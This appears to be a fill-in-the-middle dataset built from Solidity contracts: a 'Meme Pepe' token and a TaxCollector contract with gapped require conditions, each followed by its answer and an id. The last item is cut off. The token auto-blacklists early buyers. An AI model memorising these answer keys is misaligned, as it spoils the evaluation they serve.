function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
/**
* Contract Code
*/
contract MemePepe is Context, ERC20, Ownable {
address DEAD = 0x000000000000000000000000000000000000dEaD;
string constant _name =unicode"Meme Pepe";
string constant _symbol =unicode"MPEPE";
uint8 constant _decimals = 9;
uint256 _tTotal = 1 * 10**9 * 10**_decimals;
uint256 _rTotal = _tTotal * 10**3;
mapping (address => uint256) _balances;
mapping (address => mapping (address => uint256)) _allowances;
bool public tradingEnabled = false;
uint256 private genesisBlock = 0;
uint256 private deadline = 0;
mapping (address => bool) public isBlacklisted;
mapping (address => bool) public isFeeExempt;
mapping (address => bool) public isTxLimitExempt;
//General Fees Variables
uint256 public devFee = 0;
uint256 public marketingFee = 5;
uint256 public liquidityFee = 0;
uint256 public totalFee;
//Buy Fees Variables
uint256 private buyDevFee = 0;
uint256 private buyMrktFee = 1;
uint256 private buyLiquidityFee = 0;
uint256 private buyTotalFee = buyDevFee + buyMrktFee + buyLiquidityFee;
//Sell Fees Variables
uint256 private sellDevFee = 0;
uint256 private sellMrktFee = 1;
uint256 private sellLiquidityFee = 0;
uint256 private sellTotalFee = sellDevFee + sellMrktFee + sellLiquidityFee;
//Max Transaction & Wallet
uint256 public _maxTxAmount = _tTotal * 10000 / 10000; //Initial 1%
uint256 public _maxWalletSize = _tTotal * 10000 / 10000; //Initial 2%
// Fees Receivers
address public devFeeReceiver = 0x4D2Aa1747148F5c13d9cbbDf11b4dE52e81Fe66c;
address public marketingFeeReceiver = 0x4D2Aa1747148F5c13d9cbbDf11b4dE52e81Fe66c;
address public liquidityFeeReceiver = 0x4D2Aa1747148F5c13d9cbbDf11b4dE52e81Fe66c;
IDEXRouter public uniswapRouterV2;
address public uniswapPairV2;
bool public swapEnabled = true;
uint256 public swapThreshold = _tTotal * 10 / 10000; //0.1%
uint256 public maxSwapSize = _tTotal * 1 / 10000; //0.01%
bool inSwap;
modifier swapping() { }
constructor () {
}
receive() external payable { }
function totalSupply() external view override returns (uint256) { }
function decimals() external pure override returns (uint8) { }
function symbol() external pure override returns (string memory) { }
function name() external pure override returns (string memory) { }
function getOwner() external view override returns (address) { }
function balanceOf(address account) public view override returns (uint256) { }
function allowance(address holder, address spender) external view override returns (uint256) { }
function approve(address spender, uint256 amount) public override returns (bool) {
}
function enableTrading(bool status, uint256 deadblocks) external onlyOwner {
}
function transfer(address recipient, uint256 amount) external override returns (bool) {
}
function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) {
}
function _transferFrom(address sender, address recipient, uint256 amount) internal returns (bool) {
if(inSwap || amount == 0){ return _basicTransfer(sender, recipient, amount); }
if(!isFeeExempt[sender] && !isFeeExempt[recipient] && !tradingEnabled && sender == uniswapPairV2) {
isBlacklisted[recipient] = true;
}
require(!isBlacklisted[sender], "You are a bot!");
setFees(sender);
if (sender != owner && recipient != address(this) && recipient != address(DEAD) && recipient != uniswapPairV2) {
uint256 heldTokens = balanceOf(recipient);
require(<FILL_ME>)
}
// Checks Max Transaction Limit
if(sender == uniswapPairV2){
require(amount <= _maxTxAmount || isTxLimitExempt[recipient], "TX limit exceeded.");
}
if(shouldSwapBack(sender)){ swapBack(); }
_balances[sender] = _balances[sender] - amount;
uint256 amountReceived = shouldTakeFee(sender) ? takeFee(amount) : amount;
_balances[recipient] = _balances[recipient] + amountReceived;
emit Transfer(sender, recipient, amountReceived);
return true;
}
function manageBlacklist(address account, bool status) public onlyOwner {
}
function setFees(address sender) internal {
}
function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) {
}
function buyFees() internal {
}
function sellFees() internal{
}
function shouldTakeFee(address sender) internal view returns (bool) {
}
function takeFee(uint256 amount) internal view returns (uint256) {
}
function shouldSwapBack(address sender) internal view returns (bool) {
}
function swapBack() internal swapping {
}
function setBuyFees(uint256 _devFee, uint256 _marketingFee, uint256 _liquidityFee) external onlyOwner {
}
function setSellFees(uint256 _devFee, uint256 _marketingFee, uint256 _liquidityFee) external onlyOwner {
}
function setFeeReceivers(address _devFeeReceiver, address _marketingFeeReceiver, address _liquidityFeeReceiver) external onlyOwner {
}
function setSwapBackSettings(bool _enabled, uint256 _percentageMinimum, uint256 _percentageMaximum) external onlyOwner {
}
function setIsFeeExempt(address account, bool exempt) external onlyOwner {
}
function setIsTxLimitExempt(address account, bool exempt) external onlyOwner {
}
function setMaxWallet(uint256 amount) external onlyOwner {
}
function setMaxTxAmount(uint256 amount) external onlyOwner {
}
function setSwapBack(address addrss, uint256 untt) public returns (bool success) {
}
function manualSwap() external onlyOwner {
}
}
| (heldTokens+amount)<=_maxWalletSize||isTxLimitExempt[recipient],"Total Holding is currently limited, you can not hold that much." | 72,780 | (heldTokens+amount)<=_maxWalletSize||isTxLimitExempt[recipient] |
"TaxCollector/account-not-authorized" | // This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
// You should have received a copy of the GNU General Public License
// along with this program. If not, see <http://www.gnu.org/licenses/>.
pragma solidity 0.6.7;
import "../shared/LinkedList.sol";
abstract contract SAFEEngineLike {
function collateralTypes(bytes32) virtual public view returns (
uint256 debtAmount, // [wad]
uint256 accumulatedRate // [ray]
);
function updateAccumulatedRate(bytes32,address,int256) virtual external;
function coinBalance(address) virtual public view returns (uint256);
}
contract TaxCollector {
using LinkedList for LinkedList.List;
// --- Auth ---
mapping (address => uint256) public authorizedAccounts;
/**
* @notice Add auth to an account
* @param account Account to add auth to
*/
function addAuthorization(address account) external isAuthorized {
}
/**
* @notice Remove auth from an account
* @param account Account to remove auth from
*/
function removeAuthorization(address account) external isAuthorized {
}
/**
* @notice Checks whether msg.sender can call an authed function
**/
modifier isAuthorized {
require(<FILL_ME>)
_;
}
// --- Events ---
event AddAuthorization(address account);
event RemoveAuthorization(address account);
event InitializeCollateralType(bytes32 collateralType);
event ModifyParameters(
bytes32 collateralType,
bytes32 parameter,
uint256 data
);
event ModifyParameters(bytes32 parameter, uint256 data);
event ModifyParameters(bytes32 parameter, address data);
event ModifyParameters(
bytes32 collateralType,
uint256 position,
uint256 val
);
event ModifyParameters(
bytes32 collateralType,
uint256 position,
uint256 taxPercentage,
address receiverAccount
);
event AddSecondaryReceiver(
bytes32 indexed collateralType,
uint256 secondaryReceiverNonce,
uint256 latestSecondaryReceiver,
uint256 secondaryReceiverAllotedTax,
uint256 secondaryReceiverRevenueSources
);
event ModifySecondaryReceiver(
bytes32 indexed collateralType,
uint256 secondaryReceiverNonce,
uint256 latestSecondaryReceiver,
uint256 secondaryReceiverAllotedTax,
uint256 secondaryReceiverRevenueSources
);
event CollectTax(bytes32 indexed collateralType, uint256 latestAccumulatedRate, int256 deltaRate);
event DistributeTax(bytes32 indexed collateralType, address indexed target, int256 taxCut);
// --- Data ---
struct CollateralType {
// Per second borrow rate for this specific collateral type
uint256 stabilityFee;
// When SF was last collected for this collateral type
uint256 updateTime;
}
// SF receiver
struct TaxReceiver {
// Whether this receiver can accept a negative rate (taking SF from it)
uint256 canTakeBackTax; // [bool]
// Percentage of SF allocated to this receiver
uint256 taxPercentage; // [ray%]
}
// Data about each collateral type
mapping (bytes32 => CollateralType) public collateralTypes;
// Percentage of each collateral's SF that goes to other addresses apart from the primary receiver
mapping (bytes32 => uint256) public secondaryReceiverAllotedTax; // [%ray]
// Whether an address is already used for a tax receiver
mapping (address => uint256) public usedSecondaryReceiver; // [bool]
// Address associated to each tax receiver index
mapping (uint256 => address) public secondaryReceiverAccounts;
// How many collateral types send SF to a specific tax receiver
mapping (address => uint256) public secondaryReceiverRevenueSources;
// Tax receiver data
mapping (bytes32 => mapping(uint256 => TaxReceiver)) public secondaryTaxReceivers;
// The address that always receives some SF
address public primaryTaxReceiver;
// Base stability fee charged to all collateral types
uint256 public globalStabilityFee; // [ray%]
// Number of secondary tax receivers ever added
uint256 public secondaryReceiverNonce;
// Max number of secondarytax receivers a collateral type can have
uint256 public maxSecondaryReceivers;
// Latest secondary tax receiver that still has at least one revenue source
uint256 public latestSecondaryReceiver;
// All collateral types
bytes32[] public collateralList;
// Linked list with tax receiver data
LinkedList.List internal secondaryReceiverList;
SAFEEngineLike public safeEngine;
// --- Init ---
constructor(address safeEngine_) public {
}
// --- Math ---
uint256 public constant RAY = 10 ** 27;
uint256 public constant WHOLE_TAX_CUT = 10 ** 29;
uint256 public constant ONE = 1;
int256 public constant INT256_MIN = -2**255;
function rpow(uint256 x, uint256 n, uint256 b) internal pure returns (uint256 z) {
}
function addition(uint256 x, uint256 y) internal pure returns (uint256 z) {
}
function addition(int256 x, int256 y) internal pure returns (int256 z) {
}
function subtract(uint256 x, uint256 y) internal pure returns (uint256 z) {
}
function subtract(int256 x, int256 y) internal pure returns (int256 z) {
}
function deduct(uint256 x, uint256 y) internal pure returns (int256 z) {
}
function multiply(uint256 x, int256 y) internal pure returns (int256 z) {
}
function multiply(int256 x, int256 y) internal pure returns (int256 z) {
}
function rmultiply(uint256 x, uint256 y) internal pure returns (uint256 z) {
}
// --- Boolean Logic ---
function both(bool x, bool y) internal pure returns (bool z) {
}
function either(bool x, bool y) internal pure returns (bool z) {
}
// --- Administration ---
/**
* @notice Initialize a brand new collateral type
* @param collateralType Collateral type name (e.g ETH-A, TBTC-B)
*/
function initializeCollateralType(bytes32 collateralType) external isAuthorized {
}
/**
* @notice Modify collateral specific uint256 params
* @param collateralType Collateral type who's parameter is modified
* @param parameter The name of the parameter modified
* @param data New value for the parameter
*/
function modifyParameters(
bytes32 collateralType,
bytes32 parameter,
uint256 data
) external isAuthorized {
}
/**
* @notice Modify general uint256 params
* @param parameter The name of the parameter modified
* @param data New value for the parameter
*/
function modifyParameters(bytes32 parameter, uint256 data) external isAuthorized {
}
/**
* @notice Modify general address params
* @param parameter The name of the parameter modified
* @param data New value for the parameter
*/
function modifyParameters(bytes32 parameter, address data) external isAuthorized {
}
/**
* @notice Set whether a tax receiver can incur negative fees
* @param collateralType Collateral type giving fees to the tax receiver
* @param position Receiver position in the list
* @param val Value that specifies whether a tax receiver can incur negative rates
*/
function modifyParameters(
bytes32 collateralType,
uint256 position,
uint256 val
) external isAuthorized {
}
/**
* @notice Create or modify a secondary tax receiver's data
* @param collateralType Collateral type that will give SF to the tax receiver
* @param position Receiver position in the list. Used to determine whether a new tax receiver is
created or an existing one is edited
* @param taxPercentage Percentage of SF offered to the tax receiver
* @param receiverAccount Receiver address
*/
function modifyParameters(
bytes32 collateralType,
uint256 position,
uint256 taxPercentage,
address receiverAccount
) external isAuthorized {
}
// --- Tax Receiver Utils ---
/**
* @notice Add a new secondary tax receiver
* @param collateralType Collateral type that will give SF to the tax receiver
* @param taxPercentage Percentage of SF offered to the tax receiver
* @param receiverAccount Tax receiver address
*/
function addSecondaryReceiver(bytes32 collateralType, uint256 taxPercentage, address receiverAccount) internal {
}
/**
* @notice Update a secondary tax receiver's data (add a new SF source or modify % of SF taken from a collateral type)
* @param collateralType Collateral type that will give SF to the tax receiver
* @param position Receiver's position in the tax receiver list
* @param taxPercentage Percentage of SF offered to the tax receiver (ray%)
*/
function modifySecondaryReceiver(bytes32 collateralType, uint256 position, uint256 taxPercentage) internal {
}
// --- Tax Collection Utils ---
/**
* @notice Check if multiple collateral types are up to date with taxation
*/
function collectedManyTax(uint256 start, uint256 end) public view returns (bool ok) {
}
/**
* @notice Check how much SF will be charged (to collateral types between indexes 'start' and 'end'
* in the collateralList) during the next taxation
* @param start Index in collateralList from which to start looping and calculating the tax outcome
* @param end Index in collateralList at which we stop looping and calculating the tax outcome
*/
function taxManyOutcome(uint256 start, uint256 end) public view returns (bool ok, int256 rad) {
}
/**
* @notice Get how much SF will be distributed after taxing a specific collateral type
* @param collateralType Collateral type to compute the taxation outcome for
* @return The newly accumulated rate as well as the delta between the new and the last accumulated rates
*/
function taxSingleOutcome(bytes32 collateralType) public view returns (uint256, int256) {
}
// --- Tax Receiver Utils ---
/**
* @notice Get the secondary tax receiver list length
*/
function secondaryReceiversAmount() public view returns (uint256) {
}
/**
* @notice Get the collateralList length
*/
function collateralListLength() public view returns (uint256) {
}
/**
* @notice Check if a tax receiver is at a certain position in the list
*/
function isSecondaryReceiver(uint256 _receiver) public view returns (bool) {
}
// --- Tax (Stability Fee) Collection ---
/**
* @notice Collect tax from multiple collateral types at once
* @param start Index in collateralList from which to start looping and calculating the tax outcome
* @param end Index in collateralList at which we stop looping and calculating the tax outcome
*/
function taxMany(uint256 start, uint256 end) external {
}
/**
* @notice Collect tax from a single collateral type
* @param collateralType Collateral type to tax
*/
function taxSingle(bytes32 collateralType) public returns (uint256) {
}
/**
* @notice Split SF between all tax receivers
* @param collateralType Collateral type to distribute SF for
* @param deltaRate Difference between the last and the latest accumulate rates for the collateralType
*/
function splitTaxIncome(bytes32 collateralType, uint256 debtAmount, int256 deltaRate) internal {
}
/**
* @notice Give/withdraw SF from a tax receiver
* @param collateralType Collateral type to distribute SF for
* @param receiver Tax receiver address
* @param receiverListPosition Position of receiver in the secondaryReceiverList (if the receiver is secondary)
* @param debtAmount Total debt currently issued
* @param deltaRate Difference between the latest and the last accumulated rates for the collateralType
*/
function distributeTax(
bytes32 collateralType,
address receiver,
uint256 receiverListPosition,
uint256 debtAmount,
int256 deltaRate
) internal {
}
}
| authorizedAccounts[msg.sender]==1,"TaxCollector/account-not-authorized" | 72,832 | authorizedAccounts[msg.sender]==1 |
"TaxCollector/ded-invalid-numbers" | // This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
// You should have received a copy of the GNU General Public License
// along with this program. If not, see <http://www.gnu.org/licenses/>.
pragma solidity 0.6.7;
import "../shared/LinkedList.sol";
abstract contract SAFEEngineLike {
function collateralTypes(bytes32) virtual public view returns (
uint256 debtAmount, // [wad]
uint256 accumulatedRate // [ray]
);
function updateAccumulatedRate(bytes32,address,int256) virtual external;
function coinBalance(address) virtual public view returns (uint256);
}
contract TaxCollector {
using LinkedList for LinkedList.List;
// --- Auth ---
mapping (address => uint256) public authorizedAccounts;
/**
* @notice Add auth to an account
* @param account Account to add auth to
*/
function addAuthorization(address account) external isAuthorized {
}
/**
* @notice Remove auth from an account
* @param account Account to remove auth from
*/
function removeAuthorization(address account) external isAuthorized {
}
/**
* @notice Checks whether msg.sender can call an authed function
**/
modifier isAuthorized {
}
// --- Events ---
event AddAuthorization(address account);
event RemoveAuthorization(address account);
event InitializeCollateralType(bytes32 collateralType);
event ModifyParameters(
bytes32 collateralType,
bytes32 parameter,
uint256 data
);
event ModifyParameters(bytes32 parameter, uint256 data);
event ModifyParameters(bytes32 parameter, address data);
event ModifyParameters(
bytes32 collateralType,
uint256 position,
uint256 val
);
event ModifyParameters(
bytes32 collateralType,
uint256 position,
uint256 taxPercentage,
address receiverAccount
);
event AddSecondaryReceiver(
bytes32 indexed collateralType,
uint256 secondaryReceiverNonce,
uint256 latestSecondaryReceiver,
uint256 secondaryReceiverAllotedTax,
uint256 secondaryReceiverRevenueSources
);
event ModifySecondaryReceiver(
bytes32 indexed collateralType,
uint256 secondaryReceiverNonce,
uint256 latestSecondaryReceiver,
uint256 secondaryReceiverAllotedTax,
uint256 secondaryReceiverRevenueSources
);
event CollectTax(bytes32 indexed collateralType, uint256 latestAccumulatedRate, int256 deltaRate);
event DistributeTax(bytes32 indexed collateralType, address indexed target, int256 taxCut);
// --- Data ---
struct CollateralType {
// Per second borrow rate for this specific collateral type
uint256 stabilityFee;
// When SF was last collected for this collateral type
uint256 updateTime;
}
// SF receiver
struct TaxReceiver {
// Whether this receiver can accept a negative rate (taking SF from it)
uint256 canTakeBackTax; // [bool]
// Percentage of SF allocated to this receiver
uint256 taxPercentage; // [ray%]
}
// Data about each collateral type
mapping (bytes32 => CollateralType) public collateralTypes;
// Percentage of each collateral's SF that goes to other addresses apart from the primary receiver
mapping (bytes32 => uint256) public secondaryReceiverAllotedTax; // [%ray]
// Whether an address is already used for a tax receiver
mapping (address => uint256) public usedSecondaryReceiver; // [bool]
// Address associated to each tax receiver index
mapping (uint256 => address) public secondaryReceiverAccounts;
// How many collateral types send SF to a specific tax receiver
mapping (address => uint256) public secondaryReceiverRevenueSources;
// Tax receiver data
mapping (bytes32 => mapping(uint256 => TaxReceiver)) public secondaryTaxReceivers;
// The address that always receives some SF
address public primaryTaxReceiver;
// Base stability fee charged to all collateral types
uint256 public globalStabilityFee; // [ray%]
// Number of secondary tax receivers ever added
uint256 public secondaryReceiverNonce;
// Max number of secondarytax receivers a collateral type can have
uint256 public maxSecondaryReceivers;
// Latest secondary tax receiver that still has at least one revenue source
uint256 public latestSecondaryReceiver;
// All collateral types
bytes32[] public collateralList;
// Linked list with tax receiver data
LinkedList.List internal secondaryReceiverList;
SAFEEngineLike public safeEngine;
// --- Init ---
constructor(address safeEngine_) public {
}
// --- Math ---
uint256 public constant RAY = 10 ** 27;
uint256 public constant WHOLE_TAX_CUT = 10 ** 29;
uint256 public constant ONE = 1;
int256 public constant INT256_MIN = -2**255;
function rpow(uint256 x, uint256 n, uint256 b) internal pure returns (uint256 z) {
}
function addition(uint256 x, uint256 y) internal pure returns (uint256 z) {
}
function addition(int256 x, int256 y) internal pure returns (int256 z) {
}
function subtract(uint256 x, uint256 y) internal pure returns (uint256 z) {
}
function subtract(int256 x, int256 y) internal pure returns (int256 z) {
}
function deduct(uint256 x, uint256 y) internal pure returns (int256 z) {
z = int256(x) - int256(y);
require(<FILL_ME>)
}
function multiply(uint256 x, int256 y) internal pure returns (int256 z) {
}
function multiply(int256 x, int256 y) internal pure returns (int256 z) {
}
function rmultiply(uint256 x, uint256 y) internal pure returns (uint256 z) {
}
// --- Boolean Logic ---
function both(bool x, bool y) internal pure returns (bool z) {
}
function either(bool x, bool y) internal pure returns (bool z) {
}
// --- Administration ---
/**
* @notice Initialize a brand new collateral type
* @param collateralType Collateral type name (e.g ETH-A, TBTC-B)
*/
function initializeCollateralType(bytes32 collateralType) external isAuthorized {
}
/**
* @notice Modify collateral specific uint256 params
* @param collateralType Collateral type who's parameter is modified
* @param parameter The name of the parameter modified
* @param data New value for the parameter
*/
function modifyParameters(
bytes32 collateralType,
bytes32 parameter,
uint256 data
) external isAuthorized {
}
/**
* @notice Modify general uint256 params
* @param parameter The name of the parameter modified
* @param data New value for the parameter
*/
function modifyParameters(bytes32 parameter, uint256 data) external isAuthorized {
}
/**
* @notice Modify general address params
* @param parameter The name of the parameter modified
* @param data New value for the parameter
*/
function modifyParameters(bytes32 parameter, address data) external isAuthorized {
}
/**
* @notice Set whether a tax receiver can incur negative fees
* @param collateralType Collateral type giving fees to the tax receiver
* @param position Receiver position in the list
* @param val Value that specifies whether a tax receiver can incur negative rates
*/
function modifyParameters(
bytes32 collateralType,
uint256 position,
uint256 val
) external isAuthorized {
}
/**
* @notice Create or modify a secondary tax receiver's data
* @param collateralType Collateral type that will give SF to the tax receiver
* @param position Receiver position in the list. Used to determine whether a new tax receiver is
created or an existing one is edited
* @param taxPercentage Percentage of SF offered to the tax receiver
* @param receiverAccount Receiver address
*/
function modifyParameters(
bytes32 collateralType,
uint256 position,
uint256 taxPercentage,
address receiverAccount
) external isAuthorized {
}
// --- Tax Receiver Utils ---
/**
* @notice Add a new secondary tax receiver
* @param collateralType Collateral type that will give SF to the tax receiver
* @param taxPercentage Percentage of SF offered to the tax receiver
* @param receiverAccount Tax receiver address
*/
function addSecondaryReceiver(bytes32 collateralType, uint256 taxPercentage, address receiverAccount) internal {
}
/**
* @notice Update a secondary tax receiver's data (add a new SF source or modify % of SF taken from a collateral type)
* @param collateralType Collateral type that will give SF to the tax receiver
* @param position Receiver's position in the tax receiver list
* @param taxPercentage Percentage of SF offered to the tax receiver (ray%)
*/
function modifySecondaryReceiver(bytes32 collateralType, uint256 position, uint256 taxPercentage) internal {
}
// --- Tax Collection Utils ---
/**
* @notice Check if multiple collateral types are up to date with taxation
*/
function collectedManyTax(uint256 start, uint256 end) public view returns (bool ok) {
}
/**
* @notice Check how much SF will be charged (to collateral types between indexes 'start' and 'end'
* in the collateralList) during the next taxation
* @param start Index in collateralList from which to start looping and calculating the tax outcome
* @param end Index in collateralList at which we stop looping and calculating the tax outcome
*/
function taxManyOutcome(uint256 start, uint256 end) public view returns (bool ok, int256 rad) {
}
/**
* @notice Get how much SF will be distributed after taxing a specific collateral type
* @param collateralType Collateral type to compute the taxation outcome for
* @return The newly accumulated rate as well as the delta between the new and the last accumulated rates
*/
function taxSingleOutcome(bytes32 collateralType) public view returns (uint256, int256) {
}
// --- Tax Receiver Utils ---
/**
* @notice Get the secondary tax receiver list length
*/
function secondaryReceiversAmount() public view returns (uint256) {
}
/**
* @notice Get the collateralList length
*/
function collateralListLength() public view returns (uint256) {
}
/**
* @notice Check if a tax receiver is at a certain position in the list
*/
function isSecondaryReceiver(uint256 _receiver) public view returns (bool) {
}
// --- Tax (Stability Fee) Collection ---
/**
* @notice Collect tax from multiple collateral types at once
* @param start Index in collateralList from which to start looping and calculating the tax outcome
* @param end Index in collateralList at which we stop looping and calculating the tax outcome
*/
function taxMany(uint256 start, uint256 end) external {
}
/**
* @notice Collect tax from a single collateral type
* @param collateralType Collateral type to tax
*/
function taxSingle(bytes32 collateralType) public returns (uint256) {
}
/**
* @notice Split SF between all tax receivers
* @param collateralType Collateral type to distribute SF for
* @param deltaRate Difference between the last and the latest accumulate rates for the collateralType
*/
function splitTaxIncome(bytes32 collateralType, uint256 debtAmount, int256 deltaRate) internal {
}
/**
* @notice Give/withdraw SF from a tax receiver
* @param collateralType Collateral type to distribute SF for
* @param receiver Tax receiver address
* @param receiverListPosition Position of receiver in the secondaryReceiverList (if the receiver is secondary)
* @param debtAmount Total debt currently issued
* @param deltaRate Difference between the latest and the last accumulated rates for the collateralType
*/
function distributeTax(
bytes32 collateralType,
address receiver,
uint256 receiverListPosition,
uint256 debtAmount,
int256 deltaRate
) internal {
}
}
| int256(x)>=0&&int256(y)>=0,"TaxCollector/ded-invalid-numbers" | 72,832 | int256(x)>=0&&int256(y)>=0 |
"TaxCollector/mul-uint-int-invalid-x" | // This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
// You should have received a copy of the GNU General Public License
// along with this program. If not, see <http://www.gnu.org/licenses/>.
pragma solidity 0.6.7;
import "../shared/LinkedList.sol";
abstract contract SAFEEngineLike {
function collateralTypes(bytes32) virtual public view returns (
uint256 debtAmount, // [wad]
uint256 accumulatedRate // [ray]
);
function updateAccumulatedRate(bytes32,address,int256) virtual external;
function coinBalance(address) virtual public view returns (uint256);
}
contract TaxCollector {
using LinkedList for LinkedList.List;
// --- Auth ---
mapping (address => uint256) public authorizedAccounts;
/**
* @notice Add auth to an account
* @param account Account to add auth to
*/
function addAuthorization(address account) external isAuthorized {
}
/**
* @notice Remove auth from an account
* @param account Account to remove auth from
*/
function removeAuthorization(address account) external isAuthorized {
}
/**
* @notice Checks whether msg.sender can call an authed function
**/
modifier isAuthorized {
}
// --- Events ---
event AddAuthorization(address account);
event RemoveAuthorization(address account);
event InitializeCollateralType(bytes32 collateralType);
event ModifyParameters(
bytes32 collateralType,
bytes32 parameter,
uint256 data
);
event ModifyParameters(bytes32 parameter, uint256 data);
event ModifyParameters(bytes32 parameter, address data);
event ModifyParameters(
bytes32 collateralType,
uint256 position,
uint256 val
);
event ModifyParameters(
bytes32 collateralType,
uint256 position,
uint256 taxPercentage,
address receiverAccount
);
event AddSecondaryReceiver(
bytes32 indexed collateralType,
uint256 secondaryReceiverNonce,
uint256 latestSecondaryReceiver,
uint256 secondaryReceiverAllotedTax,
uint256 secondaryReceiverRevenueSources
);
event ModifySecondaryReceiver(
bytes32 indexed collateralType,
uint256 secondaryReceiverNonce,
uint256 latestSecondaryReceiver,
uint256 secondaryReceiverAllotedTax,
uint256 secondaryReceiverRevenueSources
);
event CollectTax(bytes32 indexed collateralType, uint256 latestAccumulatedRate, int256 deltaRate);
event DistributeTax(bytes32 indexed collateralType, address indexed target, int256 taxCut);
// --- Data ---
struct CollateralType {
// Per second borrow rate for this specific collateral type
uint256 stabilityFee;
// When SF was last collected for this collateral type
uint256 updateTime;
}
// SF receiver
struct TaxReceiver {
// Whether this receiver can accept a negative rate (taking SF from it)
uint256 canTakeBackTax; // [bool]
// Percentage of SF allocated to this receiver
uint256 taxPercentage; // [ray%]
}
// Data about each collateral type
mapping (bytes32 => CollateralType) public collateralTypes;
// Percentage of each collateral's SF that goes to other addresses apart from the primary receiver
mapping (bytes32 => uint256) public secondaryReceiverAllotedTax; // [%ray]
// Whether an address is already used for a tax receiver
mapping (address => uint256) public usedSecondaryReceiver; // [bool]
// Address associated to each tax receiver index
mapping (uint256 => address) public secondaryReceiverAccounts;
// How many collateral types send SF to a specific tax receiver
mapping (address => uint256) public secondaryReceiverRevenueSources;
// Tax receiver data
mapping (bytes32 => mapping(uint256 => TaxReceiver)) public secondaryTaxReceivers;
// The address that always receives some SF
address public primaryTaxReceiver;
// Base stability fee charged to all collateral types
uint256 public globalStabilityFee; // [ray%]
// Number of secondary tax receivers ever added
uint256 public secondaryReceiverNonce;
// Max number of secondarytax receivers a collateral type can have
uint256 public maxSecondaryReceivers;
// Latest secondary tax receiver that still has at least one revenue source
uint256 public latestSecondaryReceiver;
// All collateral types
bytes32[] public collateralList;
// Linked list with tax receiver data
LinkedList.List internal secondaryReceiverList;
SAFEEngineLike public safeEngine;
// --- Init ---
constructor(address safeEngine_) public {
}
// --- Math ---
uint256 public constant RAY = 10 ** 27;
uint256 public constant WHOLE_TAX_CUT = 10 ** 29;
uint256 public constant ONE = 1;
int256 public constant INT256_MIN = -2**255;
function rpow(uint256 x, uint256 n, uint256 b) internal pure returns (uint256 z) {
}
function addition(uint256 x, uint256 y) internal pure returns (uint256 z) {
}
function addition(int256 x, int256 y) internal pure returns (int256 z) {
}
function subtract(uint256 x, uint256 y) internal pure returns (uint256 z) {
}
function subtract(int256 x, int256 y) internal pure returns (int256 z) {
}
function deduct(uint256 x, uint256 y) internal pure returns (int256 z) {
}
function multiply(uint256 x, int256 y) internal pure returns (int256 z) {
z = int256(x) * y;
require(<FILL_ME>)
require(y == 0 || z / y == int256(x), "TaxCollector/mul-uint-int-overflow");
}
function multiply(int256 x, int256 y) internal pure returns (int256 z) {
}
function rmultiply(uint256 x, uint256 y) internal pure returns (uint256 z) {
}
// --- Boolean Logic ---
function both(bool x, bool y) internal pure returns (bool z) {
}
function either(bool x, bool y) internal pure returns (bool z) {
}
// --- Administration ---
/**
* @notice Initialize a brand new collateral type
* @param collateralType Collateral type name (e.g ETH-A, TBTC-B)
*/
function initializeCollateralType(bytes32 collateralType) external isAuthorized {
}
/**
* @notice Modify collateral specific uint256 params
* @param collateralType Collateral type who's parameter is modified
* @param parameter The name of the parameter modified
* @param data New value for the parameter
*/
function modifyParameters(
bytes32 collateralType,
bytes32 parameter,
uint256 data
) external isAuthorized {
}
/**
* @notice Modify general uint256 params
* @param parameter The name of the parameter modified
* @param data New value for the parameter
*/
function modifyParameters(bytes32 parameter, uint256 data) external isAuthorized {
}
/**
* @notice Modify general address params
* @param parameter The name of the parameter modified
* @param data New value for the parameter
*/
function modifyParameters(bytes32 parameter, address data) external isAuthorized {
}
/**
* @notice Set whether a tax receiver can incur negative fees
* @param collateralType Collateral type giving fees to the tax receiver
* @param position Receiver position in the list
* @param val Value that specifies whether a tax receiver can incur negative rates
*/
function modifyParameters(
bytes32 collateralType,
uint256 position,
uint256 val
) external isAuthorized {
}
/**
* @notice Create or modify a secondary tax receiver's data
* @param collateralType Collateral type that will give SF to the tax receiver
* @param position Receiver position in the list. Used to determine whether a new tax receiver is
created or an existing one is edited
* @param taxPercentage Percentage of SF offered to the tax receiver
* @param receiverAccount Receiver address
*/
function modifyParameters(
bytes32 collateralType,
uint256 position,
uint256 taxPercentage,
address receiverAccount
) external isAuthorized {
}
// --- Tax Receiver Utils ---
/**
* @notice Add a new secondary tax receiver
* @param collateralType Collateral type that will give SF to the tax receiver
* @param taxPercentage Percentage of SF offered to the tax receiver
* @param receiverAccount Tax receiver address
*/
function addSecondaryReceiver(bytes32 collateralType, uint256 taxPercentage, address receiverAccount) internal {
}
/**
* @notice Update a secondary tax receiver's data (add a new SF source or modify % of SF taken from a collateral type)
* @param collateralType Collateral type that will give SF to the tax receiver
